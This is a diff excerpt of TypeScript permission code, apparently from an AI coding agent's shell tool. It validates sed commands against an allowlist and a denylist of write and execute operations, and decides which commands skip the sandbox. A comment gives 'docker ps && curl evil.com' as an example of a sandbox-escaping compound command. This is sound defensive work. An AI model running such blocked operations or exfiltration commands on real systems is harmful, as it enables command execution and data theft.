// STRICT ALLOWLIST: Must be exactly a substitution command starting with 's'
|
| 192 |
+
// This rejects standalone commands like 'e', 'w file', etc.
|
| 193 |
+
if (!expr.startsWith('s')) {
|
| 194 |
+
return false
|
| 195 |
+
}
|
| 196 |
+
|
| 197 |
+
// Parse substitution: s/pattern/replacement/flags
|
| 198 |
+
// Only allow / as delimiter (strict)
|
| 199 |
+
const substitutionMatch = expr.match(/^s\/(.*?)$/)
|
| 200 |
+
if (!substitutionMatch) {
|
| 201 |
+
return false
|
| 202 |
+
}
|
| 203 |
+
|
| 204 |
+
const rest = substitutionMatch[1]!
|
| 205 |
+
|
| 206 |
+
// Find the positions of / delimiters
|
| 207 |
+
let delimiterCount = 0
|
| 208 |
+
let lastDelimiterPos = -1
|
| 209 |
+
let i = 0
|
| 210 |
+
while (i < rest.length) {
|
| 211 |
+
if (rest[i] === '\\') {
|
| 212 |
+
// Skip escaped character
|
| 213 |
+
i += 2
|
| 214 |
+
continue
|
| 215 |
+
}
|
| 216 |
+
if (rest[i] === '/') {
|
| 217 |
+
delimiterCount++
|
| 218 |
+
lastDelimiterPos = i
|
| 219 |
+
}
|
| 220 |
+
i++
|
| 221 |
+
}
|
| 222 |
+
|
| 223 |
+
// Must have found exactly 2 delimiters (pattern and replacement)
|
| 224 |
+
if (delimiterCount !== 2) {
|
| 225 |
+
return false
|
| 226 |
+
}
|
| 227 |
+
|
| 228 |
+
// Extract flags (everything after the last delimiter)
|
| 229 |
+
const exprFlags = rest.slice(lastDelimiterPos + 1)
|
| 230 |
+
|
| 231 |
+
// Validate flags: only allow g, p, i, I, m, M, and optionally ONE digit 1-9
|
| 232 |
+
const allowedFlagChars = /^[gpimIM]*[1-9]?[gpimIM]*$/
|
| 233 |
+
if (!allowedFlagChars.test(exprFlags)) {
|
| 234 |
+
return false
|
| 235 |
+
}
|
| 236 |
+
|
| 237 |
+
return true
|
| 238 |
+
}
|
| 239 |
+
|
| 240 |
+
/**
|
| 241 |
+
* Checks if a sed command is allowed by the allowlist.
|
| 242 |
+
* The allowlist patterns themselves are strict enough to reject dangerous operations.
|
| 243 |
+
* @param command The sed command to check
|
| 244 |
+
* @param options.allowFileWrites When true, allows -i flag and file arguments for substitution commands
|
| 245 |
+
* @returns true if the command is allowed (matches allowlist and passes denylist check), false otherwise
|
| 246 |
+
*/
|
| 247 |
+
export function sedCommandIsAllowedByAllowlist(
|
| 248 |
+
command: string,
|
| 249 |
+
options?: { allowFileWrites?: boolean },
|
| 250 |
+
): boolean {
|
| 251 |
+
const allowFileWrites = options?.allowFileWrites ?? false
|
| 252 |
+
|
| 253 |
+
// Extract sed expressions (content inside quotes where actual sed commands live)
|
| 254 |
+
let expressions: string[]
|
| 255 |
+
try {
|
| 256 |
+
expressions = extractSedExpressions(command)
|
| 257 |
+
} catch (_error) {
|
| 258 |
+
// If parsing failed, treat as not allowed
|
| 259 |
+
return false
|
| 260 |
+
}
|
| 261 |
+
|
| 262 |
+
// Check if sed command has file arguments
|
| 263 |
+
const hasFileArguments = hasFileArgs(command)
|
| 264 |
+
|
| 265 |
+
// Check if command matches allowlist patterns
|
| 266 |
+
let isPattern1 = false
|
| 267 |
+
let isPattern2 = false
|
| 268 |
+
|
| 269 |
+
if (allowFileWrites) {
|
| 270 |
+
// When allowing file writes, only check substitution commands (Pattern 2 variant)
|
| 271 |
+
// Pattern 1 (line printing) doesn't need file writes
|
| 272 |
+
isPattern2 = isSubstitutionCommand(command, expressions, hasFileArguments, {
|
| 273 |
+
allowFileWrites: true,
|
| 274 |
+
})
|
| 275 |
+
} else {
|
| 276 |
+
// Standard read-only mode: check both patterns
|
| 277 |
+
isPattern1 = isLinePrintingCommand(command, expressions)
|
| 278 |
+
isPattern2 = isSubstitutionCommand(command, expressions, hasFileArguments)
|
| 279 |
+
}
|
| 280 |
+
|
| 281 |
+
if (!isPattern1 && !isPattern2) {
|
| 282 |
+
return false
|
| 283 |
+
}
|
| 284 |
+
|
| 285 |
+
// Pattern 2 does not allow semicolons (command separators)
|
| 286 |
+
// Pattern 1 allows semicolons for separating print commands
|
| 287 |
+
for (const expr of expressions) {
|
| 288 |
+
if (isPattern2 && expr.includes(';')) {
|
| 289 |
+
return false
|
| 290 |
+
}
|
| 291 |
+
}
|
| 292 |
+
|
| 293 |
+
// Defense-in-depth: Even if allowlist matches, check denylist
|
| 294 |
+
for (const expr of expressions) {
|
| 295 |
+
if (containsDangerousOperations(expr)) {
|
| 296 |
+
return false
|
| 297 |
+
}
|
| 298 |
+
}
|
| 299 |
+
|
| 300 |
+
return true
|
| 301 |
+
}
|
| 302 |
+
|
| 303 |
+
/**
|
| 304 |
+
* Check if a sed command has file arguments (not just stdin)
|
| 305 |
+
* @internal Exported for testing
|
| 306 |
+
*/
|
| 307 |
+
export function hasFileArgs(command: string): boolean {
|
| 308 |
+
const sedMatch = command.match(/^\s*sed\s+/)
|
| 309 |
+
if (!sedMatch) return false
|
| 310 |
+
|
| 311 |
+
const withoutSed = command.slice(sedMatch[0].length)
|
| 312 |
+
const parseResult = tryParseShellCommand(withoutSed)
|
| 313 |
+
if (!parseResult.success) return true
|
| 314 |
+
const parsed = parseResult.tokens
|
| 315 |
+
|
| 316 |
+
try {
|
| 317 |
+
let argCount = 0
|
| 318 |
+
let hasEFlag = false
|
| 319 |
+
|
| 320 |
+
for (let i = 0; i < parsed.length; i++) {
|
| 321 |
+
const arg = parsed[i]
|
| 322 |
+
|
| 323 |
+
// Handle both string arguments and glob patterns (like *.log)
|
| 324 |
+
if (typeof arg !== 'string' && typeof arg !== 'object') continue
|
| 325 |
+
|
| 326 |
+
// If it's a glob pattern, it counts as a file argument
|
| 327 |
+
if (
|
| 328 |
+
typeof arg === 'object' &&
|
| 329 |
+
arg !== null &&
|
| 330 |
+
'op' in arg &&
|
| 331 |
+
arg.op === 'glob'
|
| 332 |
+
) {
|
| 333 |
+
return true
|
| 334 |
+
}
|
| 335 |
+
|
| 336 |
+
// Skip non-string arguments that aren't glob patterns
|
| 337 |
+
if (typeof arg !== 'string') continue
|
| 338 |
+
|
| 339 |
+
// Handle -e flag followed by expression
|
| 340 |
+
if ((arg === '-e' || arg === '--expression') && i + 1 < parsed.length) {
|
| 341 |
+
hasEFlag = true
|
| 342 |
+
i++ // Skip the next argument since it's the expression
|
| 343 |
+
continue
|
| 344 |
+
}
|
| 345 |
+
|
| 346 |
+
// Handle --expression=value format
|
| 347 |
+
if (arg.startsWith('--expression=')) {
|
| 348 |
+
hasEFlag = true
|
| 349 |
+
continue
|
| 350 |
+
}
|
| 351 |
+
|
| 352 |
+
// Handle -e=value format (non-standard but defense in depth)
|
| 353 |
+
if (arg.startsWith('-e=')) {
|
| 354 |
+
hasEFlag = true
|
| 355 |
+
continue
|
| 356 |
+
}
|
| 357 |
+
|
| 358 |
+
// Skip other flags
|
| 359 |
+
if (arg.startsWith('-')) continue
|
| 360 |
+
|
| 361 |
+
argCount++
|
| 362 |
+
|
| 363 |
+
// If we used -e flags, ALL non-flag arguments are file arguments
|
| 364 |
+
if (hasEFlag) {
|
| 365 |
+
return true
|
| 366 |
+
}
|
| 367 |
+
|
| 368 |
+
// If we didn't use -e flags, the first non-flag argument is the sed expression,
|
| 369 |
+
// so we need more than 1 non-flag argument to have file arguments
|
| 370 |
+
if (argCount > 1) {
|
| 371 |
+
return true
|
| 372 |
+
}
|
| 373 |
+
}
|
| 374 |
+
|
| 375 |
+
return false
|
| 376 |
+
} catch (_error) {
|
| 377 |
+
return true // Assume dangerous if parsing fails
|
| 378 |
+
}
|
| 379 |
+
}
|
| 380 |
+
|
| 381 |
+
/**
|
| 382 |
+
* Extract sed expressions from command, ignoring flags and filenames
|
| 383 |
+
* @param command Full sed command
|
| 384 |
+
* @returns Array of sed expressions to check for dangerous operations
|
| 385 |
+
* @throws Error if parsing fails
|
| 386 |
+
* @internal Exported for testing
|
| 387 |
+
*/
|
| 388 |
+
export function extractSedExpressions(command: string): string[] {
|
| 389 |
+
const expressions: string[] = []
|
| 390 |
+
|
| 391 |
+
// Calculate withoutSed by trimming off the first N characters (removing 'sed ')
|
| 392 |
+
const sedMatch = command.match(/^\s*sed\s+/)
|
| 393 |
+
if (!sedMatch) return expressions
|
| 394 |
+
|
| 395 |
+
const withoutSed = command.slice(sedMatch[0].length)
|
| 396 |
+
|
| 397 |
+
// Reject dangerous flag combinations like -ew, -eW, -ee, -we (combined -e/-w with dangerous commands)
|
| 398 |
+
if (/-e[wWe]/.test(withoutSed) || /-w[eE]/.test(withoutSed)) {
|
| 399 |
+
throw new Error('Dangerous flag combination detected')
|
| 400 |
+
}
|
| 401 |
+
|
| 402 |
+
// Use shell-quote to parse the arguments properly
|
| 403 |
+
const parseResult = tryParseShellCommand(withoutSed)
|
| 404 |
+
if (!parseResult.success) {
|
| 405 |
+
// Malformed shell syntax - throw error to be caught by caller
|
| 406 |
+
throw new Error(`Malformed shell syntax: ${parseResult.error}`)
|
| 407 |
+
}
|
| 408 |
+
const parsed = parseResult.tokens
|
| 409 |
+
try {
|
| 410 |
+
let foundEFlag = false
|
| 411 |
+
let foundExpression = false
|
| 412 |
+
|
| 413 |
+
for (let i = 0; i < parsed.length; i++) {
|
| 414 |
+
const arg = parsed[i]
|
| 415 |
+
|
| 416 |
+
// Skip non-string arguments (like control operators)
|
| 417 |
+
if (typeof arg !== 'string') continue
|
| 418 |
+
|
| 419 |
+
// Handle -e flag followed by expression
|
| 420 |
+
if ((arg === '-e' || arg === '--expression') && i + 1 < parsed.length) {
|
| 421 |
+
foundEFlag = true
|
| 422 |
+
const nextArg = parsed[i + 1]
|
| 423 |
+
if (typeof nextArg === 'string') {
|
| 424 |
+
expressions.push(nextArg)
|
| 425 |
+
i++ // Skip the next argument since we consumed it
|
| 426 |
+
}
|
| 427 |
+
continue
|
| 428 |
+
}
|
| 429 |
+
|
| 430 |
+
// Handle --expression=value format
|
| 431 |
+
if (arg.startsWith('--expression=')) {
|
| 432 |
+
foundEFlag = true
|
| 433 |
+
expressions.push(arg.slice('--expression='.length))
|
| 434 |
+
continue
|
| 435 |
+
}
|
| 436 |
+
|
| 437 |
+
// Handle -e=value format (non-standard but defense in depth)
|
| 438 |
+
if (arg.startsWith('-e=')) {
|
| 439 |
+
foundEFlag = true
|
| 440 |
+
expressions.push(arg.slice('-e='.length))
|
| 441 |
+
continue
|
| 442 |
+
}
|
| 443 |
+
|
| 444 |
+
// Skip other flags
|
| 445 |
+
if (arg.startsWith('-')) continue
|
| 446 |
+
|
| 447 |
+
// If we haven't found any -e flags, the first non-flag argument is the sed expression
|
| 448 |
+
if (!foundEFlag && !foundExpression) {
|
| 449 |
+
expressions.push(arg)
|
| 450 |
+
foundExpression = true
|
| 451 |
+
continue
|
| 452 |
+
}
|
| 453 |
+
|
| 454 |
+
// If we've already found -e flags or a standalone expression,
|
| 455 |
+
// remaining non-flag arguments are filenames
|
| 456 |
+
break
|
| 457 |
+
}
|
| 458 |
+
} catch (error) {
|
| 459 |
+
// If shell-quote parsing fails, treat the sed command as unsafe
|
| 460 |
+
throw new Error(
|
| 461 |
+
`Failed to parse sed command: ${error instanceof Error ? error.message : 'Unknown error'}`,
|
| 462 |
+
)
|
| 463 |
+
}
|
| 464 |
+
|
| 465 |
+
return expressions
|
| 466 |
+
}
|
| 467 |
+
|
| 468 |
+
/**
|
| 469 |
+
* Check if a sed expression contains dangerous operations (denylist)
|
| 470 |
+
* @param expression Single sed expression (without quotes)
|
| 471 |
+
* @returns true if dangerous, false if safe
|
| 472 |
+
*/
|
| 473 |
+
function containsDangerousOperations(expression: string): boolean {
|
| 474 |
+
const cmd = expression.trim()
|
| 475 |
+
if (!cmd) return false
|
| 476 |
+
|
| 477 |
+
// CONSERVATIVE REJECTIONS: Broadly reject patterns that could be dangerous
|
| 478 |
+
// When in doubt, treat as unsafe
|
| 479 |
+
|
| 480 |
+
// Reject non-ASCII characters (Unicode homoglyphs, combining chars, etc.)
|
| 481 |
+
// Examples: w (fullwidth), ᴡ (small capital), w̃ (combining tilde)
|
| 482 |
+
// Check for characters outside ASCII range (0x01-0x7F, excluding null byte)
|
| 483 |
+
// eslint-disable-next-line no-control-regex
|
| 484 |
+
if (/[^\x01-\x7F]/.test(cmd)) {
|
| 485 |
+
return true
|
| 486 |
+
}
|
| 487 |
+
|
| 488 |
+
// Reject curly braces (blocks) - too complex to parse
|
| 489 |
+
if (cmd.includes('{') || cmd.includes('}')) {
|
| 490 |
+
return true
|
| 491 |
+
}
|
| 492 |
+
|
| 493 |
+
// Reject newlines - multi-line commands are too complex
|
| 494 |
+
if (cmd.includes('\n')) {
|
| 495 |
+
return true
|
| 496 |
+
}
|
| 497 |
+
|
| 498 |
+
// Reject comments (# not immediately after s command)
|
| 499 |
+
// Comments look like: #comment or start with #
|
| 500 |
+
// Delimiter looks like: s#pattern#replacement#
|
| 501 |
+
const hashIndex = cmd.indexOf('#')
|
| 502 |
+
if (hashIndex !== -1 && !(hashIndex > 0 && cmd[hashIndex - 1] === 's')) {
|
| 503 |
+
return true
|
| 504 |
+
}
|
| 505 |
+
|
| 506 |
+
// Reject negation operator
|
| 507 |
+
// Negation can appear: at start (!/pattern/), after address (/pattern/!, 1,10!, $!)
|
| 508 |
+
// Delimiter looks like: s!pattern!replacement! (has 's' before it)
|
| 509 |
+
if (/^!/.test(cmd) || /[/\d$]!/.test(cmd)) {
|
| 510 |
+
return true
|
| 511 |
+
}
|
| 512 |
+
|
| 513 |
+
// Reject tilde in GNU step address format (digit~digit, ,~digit, or $~digit)
|
| 514 |
+
// Allow whitespace around tilde
|
| 515 |
+
if (/\d\s*~\s*\d|,\s*~\s*\d|\$\s*~\s*\d/.test(cmd)) {
|
| 516 |
+
return true
|
| 517 |
+
}
|
| 518 |
+
|
| 519 |
+
// Reject comma at start (bare comma is shorthand for 1,$ address range)
|
| 520 |
+
if (/^,/.test(cmd)) {
|
| 521 |
+
return true
|
| 522 |
+
}
|
| 523 |
+
|
| 524 |
+
// Reject comma followed by +/- (GNU offset addresses)
|
| 525 |
+
if (/,\s*[+-]/.test(cmd)) {
|
| 526 |
+
return true
|
| 527 |
+
}
|
| 528 |
+
|
| 529 |
+
// Reject backslash tricks:
|
| 530 |
+
// 1. s\ (substitution with backslash delimiter)
|
| 531 |
+
// 2. \X where X could be an alternate delimiter (|, #, %, etc.) - not regex escapes
|
| 532 |
+
if (/s\\/.test(cmd) || /\\[|#%@]/.test(cmd)) {
|
| 533 |
+
return true
|
| 534 |
+
}
|
| 535 |
+
|
| 536 |
+
// Reject escaped slashes followed by w/W (patterns like /\/path\/to\/file/w)
|
| 537 |
+
if (/\\\/.*[wW]/.test(cmd)) {
|
| 538 |
+
return true
|
| 539 |
+
}
|
| 540 |
+
|
| 541 |
+
// Reject malformed/suspicious patterns we don't understand
|
| 542 |
+
// If there's a slash followed by non-slash chars, then whitespace, then dangerous commands
|
| 543 |
+
// Examples: /pattern w file, /pattern e cmd, /foo X;w file
|
| 544 |
+
if (/\/[^/]*\s+[wWeE]/.test(cmd)) {
|
| 545 |
+
return true
|
| 546 |
+
}
|
| 547 |
+
|
| 548 |
+
// Reject malformed substitution commands that don't follow normal pattern
|
| 549 |
+
// Examples: s/foobareoutput.txt (missing delimiters), s/foo/bar//w (extra delimiter)
|
| 550 |
+
if (/^s\//.test(cmd) && !/^s\/[^/]*\/[^/]*\/[^/]*$/.test(cmd)) {
|
| 551 |
+
return true
|
| 552 |
+
}
|
| 553 |
+
|
| 554 |
+
// PARANOID: Reject any command starting with 's' that ends with dangerous chars (w, W, e, E)
|
| 555 |
+
// and doesn't match our known safe substitution pattern. This catches malformed s commands
|
| 556 |
+
// with non-slash delimiters that might be trying to use dangerous flags.
|
| 557 |
+
if (/^s./.test(cmd) && /[wWeE]$/.test(cmd)) {
|
| 558 |
+
// Check if it's a properly formed substitution (any delimiter, not just /)
|
| 559 |
+
const properSubst = /^s([^\\\n]).*?\1.*?\1[^wWeE]*$/.test(cmd)
|
| 560 |
+
if (!properSubst) {
|
| 561 |
+
return true
|
| 562 |
+
}
|
| 563 |
+
}
|
| 564 |
+
|
| 565 |
+
// Check for dangerous write commands
|
| 566 |
+
// Patterns: [address]w filename, [address]W filename, /pattern/w filename, /pattern/W filename
|
| 567 |
+
// Simplified to avoid exponential backtracking (CodeQL issue)
|
| 568 |
+
// Check for w/W in contexts where it would be a command (with optional whitespace)
|
| 569 |
+
if (
|
| 570 |
+
/^[wW]\s*\S+/.test(cmd) || // At start: w file
|
| 571 |
+
/^\d+\s*[wW]\s*\S+/.test(cmd) || // After line number: 1w file or 1 w file
|
| 572 |
+
/^\$\s*[wW]\s*\S+/.test(cmd) || // After $: $w file or $ w file
|
| 573 |
+
/^\/[^/]*\/[IMim]*\s*[wW]\s*\S+/.test(cmd) || // After pattern: /pattern/w file
|
| 574 |
+
/^\d+,\d+\s*[wW]\s*\S+/.test(cmd) || // After range: 1,10w file
|
| 575 |
+
/^\d+,\$\s*[wW]\s*\S+/.test(cmd) || // After range: 1,$w file
|
| 576 |
+
/^\/[^/]*\/[IMim]*,\/[^/]*\/[IMim]*\s*[wW]\s*\S+/.test(cmd) // After pattern range: /s/,/e/w file
|
| 577 |
+
) {
|
| 578 |
+
return true
|
| 579 |
+
}
|
| 580 |
+
|
| 581 |
+
// Check for dangerous execute commands
|
| 582 |
+
// Patterns: [address]e [command], /pattern/e [command], or commands starting with e
|
| 583 |
+
// Simplified to avoid exponential backtracking (CodeQL issue)
|
| 584 |
+
// Check for e in contexts where it would be a command (with optional whitespace)
|
| 585 |
+
if (
|
| 586 |
+
/^e/.test(cmd) || // At start: e cmd
|
| 587 |
+
/^\d+\s*e/.test(cmd) || // After line number: 1e or 1 e
|
| 588 |
+
/^\$\s*e/.test(cmd) || // After $: $e or $ e
|
| 589 |
+
/^\/[^/]*\/[IMim]*\s*e/.test(cmd) || // After pattern: /pattern/e
|
| 590 |
+
/^\d+,\d+\s*e/.test(cmd) || // After range: 1,10e
|
| 591 |
+
/^\d+,\$\s*e/.test(cmd) || // After range: 1,$e
|
| 592 |
+
/^\/[^/]*\/[IMim]*,\/[^/]*\/[IMim]*\s*e/.test(cmd) // After pattern range: /s/,/e/e
|
| 593 |
+
) {
|
| 594 |
+
return true
|
| 595 |
+
}
|
| 596 |
+
|
| 597 |
+
// Check for substitution commands with dangerous flags
|
| 598 |
+
// Pattern: s<delim>pattern<delim>replacement<delim>flags where flags contain w or e
|
| 599 |
+
// Per POSIX, sed allows any character except backslash and newline as delimiter
|
| 600 |
+
const substitutionMatch = cmd.match(/s([^\\\n]).*?\1.*?\1(.*?)$/)
|
| 601 |
+
if (substitutionMatch) {
|
| 602 |
+
const flags = substitutionMatch[2] || ''
|
| 603 |
+
|
| 604 |
+
// Check for write flag: s/old/new/w filename or s/old/new/gw filename
|
| 605 |
+
if (flags.includes('w') || flags.includes('W')) {
|
| 606 |
+
return true
|
| 607 |
+
}
|
| 608 |
+
|
| 609 |
+
// Check for execute flag: s/old/new/e or s/old/new/ge
|
| 610 |
+
if (flags.includes('e') || flags.includes('E')) {
|
| 611 |
+
return true
|
| 612 |
+
}
|
| 613 |
+
}
|
| 614 |
+
|
| 615 |
+
// Check for y (transliterate) command followed by dangerous operations
|
| 616 |
+
// Pattern: y<delim>source<delim>dest<delim> followed by anything
|
| 617 |
+
// The y command uses same delimiter syntax as s command
|
| 618 |
+
// PARANOID: Reject any y command that has w/W/e/E anywhere after the delimiters
|
| 619 |
+
const yCommandMatch = cmd.match(/y([^\\\n])/)
|
| 620 |
+
if (yCommandMatch) {
|
| 621 |
+
// If we see a y command, check if there's any w, W, e, or E in the entire command
|
| 622 |
+
// This is paranoid but safe - y commands are rare and w/e after y is suspicious
|
| 623 |
+
if (/[wWeE]/.test(cmd)) {
|
| 624 |
+
return true
|
| 625 |
+
}
|
| 626 |
+
}
|
| 627 |
+
|
| 628 |
+
return false
|
| 629 |
+
}
|
| 630 |
+
|
| 631 |
+
/**
|
| 632 |
+
* Cross-cutting validation step for sed commands.
|
| 633 |
+
*
|
| 634 |
+
* This is a constraint check that blocks dangerous sed operations regardless of mode.
|
| 635 |
+
* It returns 'passthrough' for non-sed commands or safe sed commands,
|
| 636 |
+
* and 'ask' for dangerous sed operations (w/W/e/E commands).
|
| 637 |
+
*
|
| 638 |
+
* @param input - Object containing the command string
|
| 639 |
+
* @param toolPermissionContext - Context containing mode and permissions
|
| 640 |
+
* @returns
|
| 641 |
+
* - 'ask' if any sed command contains dangerous operations
|
| 642 |
+
* - 'passthrough' if no sed commands or all are safe
|
| 643 |
+
*/
|
| 644 |
+
export function checkSedConstraints(
|
| 645 |
+
input: { command: string },
|
| 646 |
+
toolPermissionContext: ToolPermissionContext,
|
| 647 |
+
): PermissionResult {
|
| 648 |
+
const commands = splitCommand_DEPRECATED(input.command)
|
| 649 |
+
|
| 650 |
+
for (const cmd of commands) {
|
| 651 |
+
// Skip non-sed commands
|
| 652 |
+
const trimmed = cmd.trim()
|
| 653 |
+
const baseCmd = trimmed.split(/\s+/)[0]
|
| 654 |
+
if (baseCmd !== 'sed') {
|
| 655 |
+
continue
|
| 656 |
+
}
|
| 657 |
+
|
| 658 |
+
// In acceptEdits mode, allow file writes (-i flag) but still block dangerous operations
|
| 659 |
+
const allowFileWrites = toolPermissionContext.mode === 'acceptEdits'
|
| 660 |
+
|
| 661 |
+
const isAllowed = sedCommandIsAllowedByAllowlist(trimmed, {
|
| 662 |
+
allowFileWrites,
|
| 663 |
+
})
|
| 664 |
+
|
| 665 |
+
if (!isAllowed) {
|
| 666 |
+
return {
|
| 667 |
+
behavior: 'ask',
|
| 668 |
+
message:
|
| 669 |
+
'sed command requires approval (contains potentially dangerous operations)',
|
| 670 |
+
decisionReason: {
|
| 671 |
+
type: 'other',
|
| 672 |
+
reason:
|
| 673 |
+
'sed command contains operations that require explicit approval (e.g., write commands, execute commands)',
|
| 674 |
+
},
|
| 675 |
+
}
|
| 676 |
+
}
|
| 677 |
+
}
|
| 678 |
+
|
| 679 |
+
// No dangerous sed commands found (or no sed commands at all)
|
| 680 |
+
return {
|
| 681 |
+
behavior: 'passthrough',
|
| 682 |
+
message: 'No dangerous sed operations detected',
|
| 683 |
+
}
|
| 684 |
+
}
|
src/tools/BashTool/shouldUseSandbox.ts
ADDED
|
@@ -0,0 +1,153 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { getFeatureValue_CACHED_MAY_BE_STALE } from 'src/services/analytics/growthbook.js'
|
| 2 |
+
import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
|
| 3 |
+
import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
|
| 4 |
+
import { getSettings_DEPRECATED } from '../../utils/settings/settings.js'
|
| 5 |
+
import {
|
| 6 |
+
BINARY_HIJACK_VARS,
|
| 7 |
+
bashPermissionRule,
|
| 8 |
+
matchWildcardPattern,
|
| 9 |
+
stripAllLeadingEnvVars,
|
| 10 |
+
stripSafeWrappers,
|
| 11 |
+
} from './bashPermissions.js'
|
| 12 |
+
|
| 13 |
+
type SandboxInput = {
|
| 14 |
+
command?: string
|
| 15 |
+
dangerouslyDisableSandbox?: boolean
|
| 16 |
+
}
|
| 17 |
+
|
| 18 |
+
// NOTE: excludedCommands is a user-facing convenience feature, not a security boundary.
|
| 19 |
+
// It is not a security bug to be able to bypass excludedCommands — the sandbox permission
|
| 20 |
+
// system (which prompts users) is the actual security control.
|
| 21 |
+
function containsExcludedCommand(command: string): boolean {
|
| 22 |
+
// Check dynamic config for disabled commands and substrings (only for ants)
|
| 23 |
+
if (process.env.USER_TYPE === 'ant') {
|
| 24 |
+
const disabledCommands = getFeatureValue_CACHED_MAY_BE_STALE<{
|
| 25 |
+
commands: string[]
|
| 26 |
+
substrings: string[]
|
| 27 |
+
}>('tengu_sandbox_disabled_commands', { commands: [], substrings: [] })
|
| 28 |
+
|
| 29 |
+
// Check if command contains any disabled substrings
|
| 30 |
+
for (const substring of disabledCommands.substrings) {
|
| 31 |
+
if (command.includes(substring)) {
|
| 32 |
+
return true
|
| 33 |
+
}
|
| 34 |
+
}
|
| 35 |
+
|
| 36 |
+
// Check if command starts with any disabled commands
|
| 37 |
+
try {
|
| 38 |
+
const commandParts = splitCommand_DEPRECATED(command)
|
| 39 |
+
for (const part of commandParts) {
|
| 40 |
+
const baseCommand = part.trim().split(' ')[0]
|
| 41 |
+
if (baseCommand && disabledCommands.commands.includes(baseCommand)) {
|
| 42 |
+
return true
|
| 43 |
+
}
|
| 44 |
+
}
|
| 45 |
+
} catch {
|
| 46 |
+
// If we can't parse the command (e.g., malformed bash syntax),
|
| 47 |
+
// treat it as not excluded to allow other validation checks to handle it
|
| 48 |
+
// This prevents crashes when rendering tool use messages
|
| 49 |
+
}
|
| 50 |
+
}
|
| 51 |
+
|
| 52 |
+
// Check user-configured excluded commands from settings
|
| 53 |
+
const settings = getSettings_DEPRECATED()
|
| 54 |
+
const userExcludedCommands = settings.sandbox?.excludedCommands ?? []
|
| 55 |
+
|
| 56 |
+
if (userExcludedCommands.length === 0) {
|
| 57 |
+
return false
|
| 58 |
+
}
|
| 59 |
+
|
| 60 |
+
// Split compound commands (e.g. "docker ps && curl evil.com") into individual
|
| 61 |
+
// subcommands and check each one against excluded patterns. This prevents a
|
| 62 |
+
// compound command from escaping the sandbox just because its first subcommand
|
| 63 |
+
// matches an excluded pattern.
|
| 64 |
+
let subcommands: string[]
|
| 65 |
+
try {
|
| 66 |
+
subcommands = splitCommand_DEPRECATED(command)
|
| 67 |
+
} catch {
|
| 68 |
+
subcommands = [command]
|
| 69 |
+
}
|
| 70 |
+
|
| 71 |
+
for (const subcommand of subcommands) {
|
| 72 |
+
const trimmed = subcommand.trim()
|
| 73 |
+
// Also try matching with env var prefixes and wrapper commands stripped, so
|
| 74 |
+
// that `FOO=bar bazel ...` and `timeout 30 bazel ...` match `bazel:*`. Not a
|
| 75 |
+
// security boundary (see NOTE at top); the &&-split above already lets
|
| 76 |
+
// `export FOO=bar && bazel ...` match. BINARY_HIJACK_VARS kept as a heuristic.
|
| 77 |
+
//
|
| 78 |
+
// We iteratively apply both stripping operations until no new candidates are
|
| 79 |
+
// produced (fixed-point), matching the approach in filterRulesByContentsMatchingInput.
|
| 80 |
+
// This handles interleaved patterns like `timeout 300 FOO=bar bazel run`
|
| 81 |
+
// where single-pass composition would fail.
|
| 82 |
+
const candidates = [trimmed]
|
| 83 |
+
const seen = new Set(candidates)
|
| 84 |
+
let startIdx = 0
|
| 85 |
+
while (startIdx < candidates.length) {
|
| 86 |
+
const endIdx = candidates.length
|
| 87 |
+
for (let i = startIdx; i < endIdx; i++) {
|
| 88 |
+
const cmd = candidates[i]!
|
| 89 |
+
const envStripped = stripAllLeadingEnvVars(cmd, BINARY_HIJACK_VARS)
|
| 90 |
+
if (!seen.has(envStripped)) {
|
| 91 |
+
candidates.push(envStripped)
|
| 92 |
+
seen.add(envStripped)
|
| 93 |
+
}
|
| 94 |
+
const wrapperStripped = stripSafeWrappers(cmd)
|
| 95 |
+
if (!seen.has(wrapperStripped)) {
|
| 96 |
+
candidates.push(wrapperStripped)
|
| 97 |
+
seen.add(wrapperStripped)
|
| 98 |
+
}
|
| 99 |
+
}
|
| 100 |
+
startIdx = endIdx
|
| 101 |
+
}
|
| 102 |
+
|
| 103 |
+
for (const pattern of userExcludedCommands) {
|
| 104 |
+
const rule = bashPermissionRule(pattern)
|
| 105 |
+
for (const cand of candidates) {
|
| 106 |
+
switch (rule.type) {
|
| 107 |
+
case 'prefix':
|
| 108 |
+
if (cand === rule.prefix || cand.startsWith(rule.prefix + ' ')) {
|
| 109 |
+
return true
|
| 110 |
+
}
|
| 111 |
+
break
|
| 112 |
+
case 'exact':
|
| 113 |
+
if (cand === rule.command) {
|
| 114 |
+
return true
|
| 115 |
+
}
|
| 116 |
+
break
|
| 117 |
+
case 'wildcard':
|
| 118 |
+
